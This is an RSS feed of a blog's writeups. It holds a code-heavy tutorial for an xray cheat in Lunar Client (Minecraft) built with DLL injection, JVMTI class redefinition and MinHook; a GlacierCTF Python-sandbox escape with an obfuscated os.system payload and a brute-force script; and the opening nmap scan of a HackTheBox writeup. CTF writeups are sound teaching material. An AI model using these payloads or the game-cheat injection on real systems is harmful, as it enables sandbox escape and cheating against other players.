<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>jsthope</title><description>CTF writeups and some random stuff</description><link>https://jsthope.xyz/</link><language>en</language><item><title>[Minecraft] Simple xray for lunar client</title><link>https://jsthope.xyz/posts/xray/writeup/</link><guid isPermaLink="true">https://jsthope.xyz/posts/xray/writeup/</guid><description>Overwriting JVM classes at runtime by jsthope</description><pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Goal&lt;/h1&gt;
&lt;p&gt;Make a basic xray by overwriting JVM classes at runtime.&lt;/p&gt;
&lt;h1&gt;Bridge&lt;/h1&gt;
&lt;p&gt;First we will need to inject our own class to be allowed to communicate between the JVM and the DLL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JNIBridge.java
public class JNIBridge {
    public static native boolean allowBlock(String blockName);
    public static native boolean xrayOn();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure to compile it to &lt;code&gt;.class&lt;/code&gt; with the right JDK version (for me JDK 1.6.0 because I will use Lunar 1.8.9).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allowBlock&lt;/code&gt; will ask the DLL if we need to render the block or not.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xrayOn&lt;/code&gt; will ask the DLL if xray is on.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Dump all classes&lt;/h1&gt;
&lt;p&gt;Then we will look at which class we want to edit. Here, for my xray, I want to edit the &lt;code&gt;Block&lt;/code&gt; class because this is where the game performs the render logic.&lt;/p&gt;
&lt;h2&gt;Find the &lt;code&gt;net/minecraft/block/Block&lt;/code&gt; class&lt;/h2&gt;
&lt;p&gt;To get the &lt;code&gt;Block.class&lt;/code&gt; you can either unzip the JAR file, or if you want, you can also dump all classes with some dynamic class dumper (you can make your own or use &lt;a href=&quot;https://www.unknowncheats.me/forum/downloads.php?do=file&amp;amp;id=27701&quot;&gt;this one&lt;/a&gt; - you can use Process Hacker to inject the DLL).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./dump.png&quot; alt=&quot;dump&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If your client is not on Forge it might have some obfuscated methods and class names. If so, you can check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mcp.thiakil.com&quot;&gt;mcp.thiakil.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bspkrs/MCPMappingViewer&quot;&gt;MCPMappingViewer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Edit Block class with Recaf&lt;/h1&gt;
&lt;p&gt;Then you will need to patch the class file.
I like to use Recaf to do so.&lt;/p&gt;
&lt;p&gt;In Recaf, find the method you would like to edit. For me, &lt;code&gt;shouldSideBeRendered&lt;/code&gt;, because this method returns whether a side should be rendered or not, so for my xray I will be able to control what to render or not.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean shouldSideBeRendered(IBlockAccess iBlockAccess, BlockPos blockPos, EnumFacing enumFacing) {
+       if (JNIBridge.xrayOn()) {
+           return JNIBridge.allowBlock(this.toString())
+       };
        CallbackInfoReturnable callbackInfoReturnable = new CallbackInfoReturnable(&quot;shouldSideBeRendered&quot;, true);
        handler$zgg000$lunar$xrayDontRenderBlockSides(iBlockAccess, blockPos, enumFacing, callbackInfoReturnable);
        if (callbackInfoReturnable.isCancelled()) {
            return callbackInfoReturnable.getReturnValueZ();
        }
        if (enumFacing == EnumFacing.DOWN &amp;amp;&amp;amp; this.minY &amp;gt; 0.0d) {
            return true;
        }
        if (enumFacing == EnumFacing.UP &amp;amp;&amp;amp; this.maxY &amp;lt; 1.0d) {
            return true;
        }
        if (enumFacing == EnumFacing.NORTH &amp;amp;&amp;amp; this.minZ &amp;gt; 0.0d) {
            return true;
        }
        if (enumFacing == EnumFacing.SOUTH &amp;amp;&amp;amp; this.maxZ &amp;lt; 1.0d) {
            return true;
        }
        if (enumFacing != EnumFacing.WEST || this.minX &amp;lt;= 0.0d) {
            return (enumFacing == EnumFacing.EAST &amp;amp;&amp;amp; this.maxX &amp;lt; 1.0d) || !iBlockAccess.getBlockState(blockPos).getBlock().isOpaqueCube();
        }
        return true;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.method public shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z {
    parameters: { this, ☃, ☃2, ☃3 },
    code: {
+   R:
+       invokestatic JNIBridge.xrayOn ()Z
+       ifeq A
+       aload this
+       invokevirtual java/lang/Object.toString ()Ljava/lang/String;
+       invokestatic JNIBridge.allowBlock (Ljava/lang/String;)Z
+       ireturn 
    A: 
        new org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable
        dup 
        ldc &quot;shouldSideBeRendered&quot;
        iconst_1 
        invokespecial org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.&amp;lt;init&amp;gt; (Ljava/lang/String;Z)V
        astore v4
        aload this
        aload ☃
        aload ☃2
        aload ☃3
        aload v4
        invokevirtual net/minecraft/block/Block.handler$zgg000$lunar$xrayDontRenderBlockSides (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lorg/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable;)V
        aload v4
        invokevirtual org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.isCancelled ()Z
        ifeq B
        aload v4
        invokevirtual org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.getReturnValueZ ()Z
        ireturn 
    B: 
        line 390
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.DOWN Lnet/minecraft/util/EnumFacing;
        if_acmpne D
        aload this
        getfield net/minecraft/block/Block.minY D
        dconst_0 
        dcmpl 
        ifle D
    C: 
        line 391
        iconst_1 
        ireturn 
    D: 
        line 393
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.UP Lnet/minecraft/util/EnumFacing;
        if_acmpne F
        aload this
        getfield net/minecraft/block/Block.maxY D
        dconst_1 
        dcmpg 
        ifge F
    E: 
        line 394
        iconst_1 
        ireturn 
    F: 
        line 396
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.NORTH Lnet/minecraft/util/EnumFacing;
        if_acmpne H
        aload this
        getfield net/minecraft/block/Block.minZ D
        dconst_0 
        dcmpl 
        ifle H
    G: 
        line 397
        iconst_1 
        ireturn 
    H: 
        line 399
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.SOUTH Lnet/minecraft/util/EnumFacing;
        if_acmpne J
        aload this
        getfield net/minecraft/block/Block.maxZ D
        dconst_1 
        dcmpg 
        ifge J
    I: 
        line 400
        iconst_1 
        ireturn 
    J: 
        line 402
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.WEST Lnet/minecraft/util/EnumFacing;
        if_acmpne L
        aload this
        getfield net/minecraft/block/Block.minX D
        dconst_0 
        dcmpl 
        ifle L
    K: 
        line 403
        iconst_1 
        ireturn 
    L: 
        line 405
        aload ☃3
        getstatic net/minecraft/util/EnumFacing.EAST Lnet/minecraft/util/EnumFacing;
        if_acmpne N
        aload this
        getfield net/minecraft/block/Block.maxX D
        dconst_1 
        dcmpg 
        ifge N
    M: 
        line 406
        iconst_1 
        ireturn 
    N: 
        line 408
        aload ☃
        aload ☃2
        invokeinterface net/minecraft/world/IBlockAccess.getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState;
        invokeinterface net/minecraft/block/state/IBlockState.getBlock ()Lnet/minecraft/block/Block;
        invokevirtual net/minecraft/block/Block.isOpaqueCube ()Z
        ifne O
        iconst_1 
        goto P
    O: 
        iconst_0 
    P: 
        ireturn 
    Q: 
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also make a fullbright effect if xray is on:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public float getAmbientOcclusionLightValue() {
+    if (JNIBridge.xrayOn()) {
+        return 1.0f;
+    }
    CallbackInfoReturnable v1 = new CallbackInfoReturnable(&quot;getAmbientOcclusionLightValue&quot;, true);
    handler$zgg000$lunar$setXrayLightLevel(v1);
    return v1.isCancelled() ? v1.getReturnValueF() : isBlockNormalCube() ? 0.2f : 1.0f;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.method public getAmbientOcclusionLightValue ()F {
    parameters: { this },
    code: {
+   Z:
+       invokestatic JNIBridge.xrayOn ()Z
+       ifeq A
+       fconst_1 
+       freturn 
    A: 
        new org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable
        dup 
        ldc &quot;getAmbientOcclusionLightValue&quot;
        iconst_1 
        invokespecial org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.&amp;lt;init&amp;gt; (Ljava/lang/String;Z)V
        astore v1
        aload this
        aload v1
        invokevirtual net/minecraft/block/Block.handler$zgg000$lunar$setXrayLightLevel (Lorg/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable;)V
        aload v1
        invokevirtual org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.isCancelled ()Z
        ifeq B
        aload v1
        invokevirtual org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable.getReturnValueF ()F
        freturn 
    B: 
        line 832
        aload this
        invokevirtual net/minecraft/block/Block.isBlockNormalCube ()Z
        ifeq C
        ldc 0.200000003F
        goto D
    C: 
        fconst_1 
    D: 
        freturn 
    E: 
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public int getLightValue() {
+   if (JNIBridge.xrayOn()) {
+       return 15;
+   }
    return this.lightValue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.method public getLightValue ()I {
    parameters: { this },
    code: {
+   Z:
+       invokestatic JNIBridge.xrayOn ()Z
+       ifeq A
+       bipush 15
+       ireturn
    A: 
        line 119
        aload this
        getfield net/minecraft/block/Block.lightValue I
        ireturn 
    B: 
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Implement the DLL native method logic&lt;/h1&gt;
&lt;h2&gt;Bool Enable / Disable Logic&lt;/h2&gt;
&lt;p&gt;First, for the enable logic, I will just return a boolean variable &lt;code&gt;g_xrayEnabled&lt;/code&gt;.
I will switch it on/off with a thread that checks if I press some keys:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static jboolean JNICALL Native_xrayOn(JNIEnv*, jclass)
{
    return g_xrayEnabled ? JNI_TRUE : JNI_FALSE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AllowBlock&lt;/h2&gt;
&lt;p&gt;In this example, I will just check if it&apos;s a &lt;code&gt;_ore&lt;/code&gt; block. If so, &lt;code&gt;allowBlock&lt;/code&gt; will return &lt;code&gt;true&lt;/code&gt;, else &lt;code&gt;false&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static jboolean JNICALL Native_allowBlock(JNIEnv* env, jclass, jstring jName)
{
    if (!jName)
        return JNI_FALSE;

    const char* utf = env-&amp;gt;GetStringUTFChars(jName, nullptr);
    bool allowed = false;

    if (utf)
    {
        const char* suffix = &quot;_ore}&quot;;
        const size_t len = std::strlen(utf);
        const size_t suf_len = std::strlen(suffix);

        if (len &amp;gt;= suf_len &amp;amp;&amp;amp; std::strcmp(utf + (len - suf_len), suffix) == 0)
        {
            allowed = true;
        }

        env-&amp;gt;ReleaseStringUTFChars(jName, utf);
    }

    return allowed ? JNI_TRUE : JNI_FALSE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Overwriting classes&lt;/h1&gt;
&lt;h2&gt;Block Class&lt;/h2&gt;
&lt;p&gt;For the next steps you will first need to set up JNI and JVMTI and find the &lt;code&gt;Block&lt;/code&gt; class (&lt;code&gt;tiEnv&lt;/code&gt; here is my JVMTI env):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jclass blockClass = nullptr;

for (int i = 0; i &amp;lt; classCount; ++i)
{
    char* sig = nullptr;
    if (tiEnv-&amp;gt;GetClassSignature(classes[i], &amp;amp;sig, nullptr) == JVMTI_ERROR_NONE &amp;amp;&amp;amp; sig)
    {
        if (std::strcmp(sig, &quot;Lnet/minecraft/block/Block;&quot;) == 0)
        {
            blockClass = classes[i];
            break;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you will be able to redefine classes with JVMTI like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jvmtiClassDefinition def;
std::memset(&amp;amp;def, 0, sizeof(def));
def.klass = blockClass;
def.class_byte_count = (jint)sizeof(block_class_bytes);
def.class_bytes = block_class_bytes;

err = tiEnv-&amp;gt;RedefineClasses(1, &amp;amp;def);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;block_class_bytes&lt;/code&gt; here is just a &lt;code&gt;char block_class_bytes[]&lt;/code&gt; that contains the bytes of our custom &lt;code&gt;Block&lt;/code&gt; class that we patched before with Recaf.&lt;/p&gt;
&lt;h1&gt;Insert our Bridge class&lt;/h1&gt;
&lt;p&gt;First, to insert a new class we will need to find the classloader.
We can easily obtain it with &lt;strong&gt;GetClassLoader&lt;/strong&gt; from JVMTI by using the location of the known &lt;code&gt;blockClass&lt;/code&gt; (&lt;code&gt;env&lt;/code&gt; here is my JNI env):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jobject blockLoader = nullptr;
err = tiEnv-&amp;gt;GetClassLoader(blockClass, &amp;amp;blockLoader);

jclass jniBridgeClass = env-&amp;gt;DefineClass(
    &quot;JNIBridge&quot;,
    blockLoader,
    reinterpret_cast&amp;lt;const jbyte*&amp;gt;(JNIBridge_class),
    (jsize)sizeof(JNIBridge_class)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we will be able to register all our native methods:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JNINativeMethod methods[] = {
    {
        const_cast&amp;lt;char*&amp;gt;(&quot;allowBlock&quot;),
        const_cast&amp;lt;char*&amp;gt;(&quot;(Ljava/lang/String;)Z&quot;),
        (void*)&amp;amp;Native_allowBlock
    },
    {
        const_cast&amp;lt;char*&amp;gt;(&quot;xrayOn&quot;),
        const_cast&amp;lt;char*&amp;gt;(&quot;()Z&quot;),
        (void*)&amp;amp;Native_xrayOn
    }
};

if (env-&amp;gt;RegisterNatives(jniBridgeClass, methods, sizeof(methods) / sizeof(methods[0])) != 0)
{
    LOGF(&quot;[MainThread] RegisterNatives(JNIBridge) failed&quot;);
    break;
}
LOGF(&quot;[MainThread] JNIBridge natives registered&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Reload Chunk&lt;/h1&gt;
&lt;p&gt;To enable or disable certain rendering features (such as xray), the game must refresh the visual state of all loaded blocks.
This requires &lt;strong&gt;triggering a full chunk reload&lt;/strong&gt; inside Minecraft’s rendering engine.&lt;/p&gt;
&lt;p&gt;However, Minecraft imposes strict constraints:
&lt;strong&gt;chunk reloading may only be executed from the render thread&lt;/strong&gt;.
Calling it from any other thread (e.g., a native worker thread) can cause OpenGL context errors or Java exceptions.&lt;/p&gt;
&lt;p&gt;To safely perform a reload from native code, the system relies on three key mechanisms:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;strong&gt;global reload request flag&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;function hook that intercepts execution on the render thread&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;JNI-based function&lt;/strong&gt; that invokes Minecraft’s internal chunk-reload method.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;1. Reload Request Flag (&lt;code&gt;g_needReload&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;Any part of the native code that wants the game to refresh its chunks does &lt;strong&gt;not&lt;/strong&gt; call Minecraft directly.
Instead, it simply raises a flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static volatile bool g_needReload = false;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when a reload is needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;g_needReload = true;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This flag indicates:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;A reload should happen, but only when we are safely on the render thread.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This prevents invalid thread access to rendering systems or JVM structures.&lt;/p&gt;
&lt;h2&gt;2. Render Thread Hook (&lt;code&gt;glOrtho&lt;/code&gt; Detour)&lt;/h2&gt;
&lt;p&gt;Minecraft’s rendering pipeline frequently calls an OpenGL function named &lt;strong&gt;&lt;code&gt;glOrtho&lt;/code&gt;&lt;/strong&gt;.
Most importantly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is &lt;em&gt;always called on the render thread&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;It is called &lt;em&gt;every frame&lt;/em&gt;, guaranteeing regular execution points.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The system replaces &lt;code&gt;glOrtho&lt;/code&gt; with a custom wrapper. This wrapper performs the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checks whether a reload was requested (&lt;code&gt;g_needReload&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If so, resets the flag and initiates a safe reload.&lt;/li&gt;
&lt;li&gt;Then calls the original &lt;code&gt;glOrtho&lt;/code&gt; to preserve the normal game behavior.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Example wrapper (simplified):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void hk_glOrtho(...) {
    if (g_needReload) {
        g_needReload = false;
        ReloadChunks();   // safe to call here
    }

    original_glOrtho(...); // continue normal rendering
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How the hook is installed&lt;/h3&gt;
&lt;p&gt;I will uses &lt;strong&gt;MinHook&lt;/strong&gt;, a lightweight and widely used Windows API hooking library.&lt;/p&gt;
&lt;p&gt;Simplified:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MH_Initialize();
MH_CreateHook(&amp;amp;glOrtho, &amp;amp;hk_glOrtho, &amp;amp;original_glOrtho);
MH_EnableHook(MH_ALL_HOOKS);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Java-Based Chunk Reload (&lt;code&gt;ReloadChunks()&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;The actual reloading is achieved by calling Minecraft’s internal method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Minecraft.getMinecraft().renderGlobal.loadRenderers();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To do this safely from native code, the system uses JNI.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ReloadChunks() {
    // Get JVM thread context
    JNIEnv* env = ...;

    // Call Minecraft.getMinecraft()
    minecraftInstance = call_static_method(&quot;Minecraft&quot;, &quot;getMinecraft&quot;);

    // Access minecraft.renderGlobal
    renderGlobal = get_field(minecraftInstance, &quot;renderGlobal&quot;);

    // Perform the actual reload
    call_method(renderGlobal, &quot;loadRenderers&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;And there we have it — with the class patches, the native bridge, the JVM runtime overwrite, and the chunk-reload system, we now have everything needed to build a fully functional xray for Minecraft.&lt;br /&gt;
From here, you can extend the logic, implement reach, ESP, ...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xray.png&quot; alt=&quot;xray&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Feel free to dm me on discord : &lt;code&gt;jsthop3&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Credit&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.unknowncheats.me/forum/minecraft/713887-jni-defineclass-redefineclass-runtime.html&quot;&gt;https://www.unknowncheats.me/forum/minecraft/713887-jni-defineclass-redefineclass-runtime.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Source Code&lt;/h3&gt;
&lt;p&gt;The full project is available on GitHub:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jsthope/SimpleLunarXray&quot;&gt;https://github.com/jsthope/SimpleLunarXray&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>[GlacierCTF 2023 - Misc] Avatar</title><link>https://jsthope.xyz/posts/avatar/avatar/</link><guid isPermaLink="true">https://jsthope.xyz/posts/avatar/avatar/</guid><description>Writeup by jsthope</description><pubDate>Mon, 27 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;This challenge was during the &lt;strong&gt;GlacierCTF 2023&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The goal of this challenge is to escape from this prison to retrieve the flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;You get one chance to awaken from the ice prison.&quot;)
code = input(&quot;input: &quot;).strip()


whitelist = &quot;&quot;&quot;gctf{&quot;*+*(=&amp;gt;:/)*+*&quot;}&quot;&quot;&quot; # not the flag
if any([x not in whitelist for x in code]) or len(code) &amp;gt; 40000:
    
    print(&quot;Denied!&quot;)
    exit(0)

eval(eval(code, {&apos;globals&apos;: {}, &apos;__builtins__&apos;: {}}, {}), {&apos;globals&apos;: {}, &apos;__builtins__&apos;: {}}, {})
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;First condition&lt;/h1&gt;
&lt;p&gt;We will first focus on the first condition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whitelist = &quot;&quot;&quot;gctf{&quot;*+*(=&amp;gt;:/)*+*&quot;}&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Numbers&lt;/h2&gt;
&lt;p&gt;The aim here is to find a trick to be able to write all numbers and later the characters.&lt;/p&gt;
&lt;p&gt;We quickly find a way to obtain numbers with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;digits = {
    0: &apos;+(&quot;g&quot;==&quot;c&quot;)&apos;,
    1: &apos;+(&quot;g&quot;==&quot;g&quot;)&apos;}

for i in range(2, 150):
    digits[i] = digits[i-1] + digits[1] # True + True = 2...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code will later be optimized to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;digits = {
    0: &apos;+(&quot;&quot;&amp;gt;&quot;&quot;)&apos;,
    1: &apos;+(&quot;&quot;==&quot;&quot;)&apos;,
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, thanks to f-strings (since &lt;code&gt;f&lt;/code&gt; is allowed) we can obtain all numbers.&lt;/p&gt;
&lt;h2&gt;Letters&lt;/h2&gt;
&lt;p&gt;We then find a way to obtain letters using an f-string feature:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f&quot;&quot;&quot;{digits[97]:c}&quot;&quot;&quot; # returns the corresponding unicode here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then write these two functions to be able to build our obfuscated payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def letter(letter_wanted):
    return &apos;{&apos;+digits[ord(letter_wanted)]+&apos;:c}&apos;


def get_string(string_wanted):
    ret_str = &apos;&apos;
    for let in string_wanted:
        ret_str += letter(let)
    return &apos;f&quot;&quot;&quot;&apos; + ret_str + &apos;&quot;&quot;&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Second condition&lt;/h1&gt;
&lt;p&gt;We can then build our payload.
However, we quickly run into a problem: the second condition.&lt;/p&gt;
&lt;p&gt;Here is the payload we want to use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;().__class__.__base__.__subclasses__()[107]().load_module(&apos;os&apos;).system(&apos;cat flag.txt&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem is that this obfuscated payload has &lt;strong&gt;67887&lt;/strong&gt; characters...
And the second condition therefore does not accept it...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;len(code) &amp;gt; 40000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Optimization&lt;/h2&gt;
&lt;p&gt;Our method for writing numbers writes &lt;code&gt;6&lt;/code&gt; as &lt;code&gt;1+1+1+1+1+1&lt;/code&gt;.
However, it is much more compact to write it as &lt;code&gt;(1+1+1)*(1+1)&lt;/code&gt; (especially for large numbers).&lt;/p&gt;
&lt;p&gt;Thus, we implement a check if the number is a multiple of &lt;code&gt;2&lt;/code&gt; or &lt;code&gt;3&lt;/code&gt; in order to save length (it’s not the most optimal, but it gets us well below 40,000).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(2, 150):
    if i % 2 == 0:
        digits[i] = digits[i/2] + &apos;*((&quot;&quot;==&quot;&quot;)+(&quot;&quot;==&quot;&quot;))&apos;
    elif i % 3 == 0:
        digits[i] = digits[i/3] + &apos;*((&quot;&quot;==&quot;&quot;)+(&quot;&quot;==&quot;&quot;)+(&quot;&quot;==&quot;&quot;))&apos;
    else:
        digits[i] = &quot;(&quot; + digits[i-1] + digits[1] + &quot;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These optimizations reduce our payload to &lt;strong&gt;13227&lt;/strong&gt; characters!&lt;/p&gt;
&lt;p&gt;We then faced a big problem: no response from the server...&lt;/p&gt;
&lt;h1&gt;Payload&lt;/h1&gt;
&lt;p&gt;It’s time to look at the payload now.
The payload was chosen based on the following restriction:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eval(eval(code, {&apos;globals&apos;: {}, &apos;__builtins__&apos;: {}}, {}), {&apos;globals&apos;: {}, &apos;__builtins__&apos;: {}}, {})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see here that there are neither &lt;code&gt;__builtins__&lt;/code&gt; nor &lt;code&gt;globals&lt;/code&gt;.
So the code evaluated with &lt;code&gt;eval&lt;/code&gt; will not have access to Python’s built-in functions (&lt;code&gt;print&lt;/code&gt;, &lt;code&gt;__import__&lt;/code&gt;, etc ...) (&lt;a href=&quot;https://docs.python.org/3/library/functions.html&quot;&gt;cf python.org&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;This is not a problem in itself because ways to bypass these restrictions exist (&lt;a href=&quot;https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#no-builtins&quot;&gt;cf hacktricks&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The payload is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;().__class__.__base__.__subclasses__()[107]().load_module(&apos;os&apos;).system(&apos;cat flag.txt&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It tries to invoke &lt;code&gt;&amp;lt;class &apos;_frozen_importlib.BuiltinImporter&apos;&amp;gt;&lt;/code&gt; using &lt;code&gt;().__class__.__base__.__subclasses__()[107]&lt;/code&gt; in order to use the builtins again.&lt;/p&gt;
&lt;p&gt;The problem is that in most cases &lt;code&gt;&amp;lt;class &apos;_frozen_importlib.BuiltinImporter&apos;&amp;gt;&lt;/code&gt; is at index &lt;strong&gt;107&lt;/strong&gt;.
However, the index may depend on the Python version.&lt;/p&gt;
&lt;p&gt;All that remained was to brute-force the index and hope for a positive response.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(90,120):
    string_wanted = f&quot;&quot;&quot;().__class__.__base__.__subclasses__()[{i}]().load_module(&apos;os&apos;).system(&apos;cat flag.txt&apos;)&quot;&quot;&quot;
    obf = get_string(string_wanted)

    print(len(obf))
    #context.log_level = &apos;debug&apos;

    p = remote(&quot;chall.glacierctf.com&quot;,13384)
    p.recv()
    p.sendline(obf)
    try: 
        print(p.recv())
        break
    except EOFError:
        pass
    p.close()

p.success(f&quot;Correct Payload was: {string_wanted}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./flag.png&quot; alt=&quot;Avatar flag image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB - Hard] Monitors</title><link>https://jsthope.xyz/posts/monitors/monitors/</link><guid isPermaLink="true">https://jsthope.xyz/posts/monitors/monitors/</guid><description>Writeup by jsthope</description><pubDate>Sat, 09 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Marcus&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;p&gt;We start by scanning the IP’s ports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A 10.10.10.238
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 bacccd81fc9155f3f6a91f4ee8bee52e (RSA)
|   256 6943376a1809f5e77a67b81811ead765 (ECDSA)
|_  256 5d5e3f67ef7d762315114b53f8413a94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor &amp;amp;#8211; Taking hardware monitoring seriously

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   23.69 ms 10.10.14.1
2   25.52 ms monitors.htb (10.10.10.238)
